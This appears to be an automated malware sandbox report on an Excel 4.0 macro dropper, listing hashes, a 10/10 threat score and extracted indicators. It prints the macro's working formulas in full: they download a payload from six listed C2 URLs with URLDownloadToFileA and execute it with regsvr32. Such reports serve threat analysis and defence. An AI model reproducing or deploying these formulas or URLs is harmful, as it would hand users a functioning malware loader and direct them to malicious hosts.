General

  • Target

    83d9735e5375906cbb6adf6e1ac9e2992700fe59b99887c6f2ce65d9a85088f4

  • Size

    46KB

  • Sample

    241120-gcp7vaxjdk

  • MD5

    7a9b502cb0f41702c1f4aca85a3beabc

  • SHA1

    921b7b1be28e4beec725f6a824460ea3fc5f58d5

  • SHA256

    83d9735e5375906cbb6adf6e1ac9e2992700fe59b99887c6f2ce65d9a85088f4

  • SHA512

    1f6a26e8a28db4969eed98546f233038e4be9e26ecf5214b19fdd4da91cb7d4da6ae7cc8cfc072d6324b61c70097a6b261e03c8f29582aa9e2c99c62c0145505

  • SSDEEP

    768:H1m2o0pOODOevZCwrvtTzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0Vf1V5f+:H1HoadD3tT5fTR4Lh1NisFYBc3cr+Uqu

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://rosywhitecleaningsolution.com/wp-admin/PqMw6fND8Bb1I4VPR10/

http://havilaholuemglobal.com/dofz29/ymIfCcEL8I5kjA6E/

http://www.floresguitarinstruction.com/wp-admin/jWlCX/

http://www.drcc.co.za/restoredcontent/nAKvnbRpazx7c/

http://aopda.org/wp-content/uploads/RDL75PME7OKHk4f/

https://chera.co.kr/wp-includes/i2nnUkDXZ/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://rosywhitecleaningsolution.com/wp-admin/PqMw6fND8Bb1I4VPR10/","..\sei.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://havilaholuemglobal.com/dofz29/ymIfCcEL8I5kjA6E/","..\sei.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.floresguitarinstruction.com/wp-admin/jWlCX/","..\sei.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.drcc.co.za/restoredcontent/nAKvnbRpazx7c/","..\sei.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://aopda.org/wp-content/uploads/RDL75PME7OKHk4f/","..\sei.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://chera.co.kr/wp-includes/i2nnUkDXZ/","..\sei.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\sei.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://rosywhitecleaningsolution.com/wp-admin/PqMw6fND8Bb1I4VPR10/

xlm40.dropper

http://havilaholuemglobal.com/dofz29/ymIfCcEL8I5kjA6E/

xlm40.dropper

http://www.floresguitarinstruction.com/wp-admin/jWlCX/

xlm40.dropper

http://www.drcc.co.za/restoredcontent/nAKvnbRpazx7c/

xlm40.dropper

http://aopda.org/wp-content/uploads/RDL75PME7OKHk4f/

Targets

    • Target

      83d9735e5375906cbb6adf6e1ac9e2992700fe59b99887c6f2ce65d9a85088f4

    • Size

      46KB

    • MD5

      7a9b502cb0f41702c1f4aca85a3beabc

    • SHA1

      921b7b1be28e4beec725f6a824460ea3fc5f58d5

    • SHA256

      83d9735e5375906cbb6adf6e1ac9e2992700fe59b99887c6f2ce65d9a85088f4

    • SHA512

      1f6a26e8a28db4969eed98546f233038e4be9e26ecf5214b19fdd4da91cb7d4da6ae7cc8cfc072d6324b61c70097a6b261e03c8f29582aa9e2c99c62c0145505

    • SSDEEP

      768:H1m2o0pOODOevZCwrvtTzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0Vf1V5f+:H1HoadD3tT5fTR4Lh1NisFYBc3cr+Uqu

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks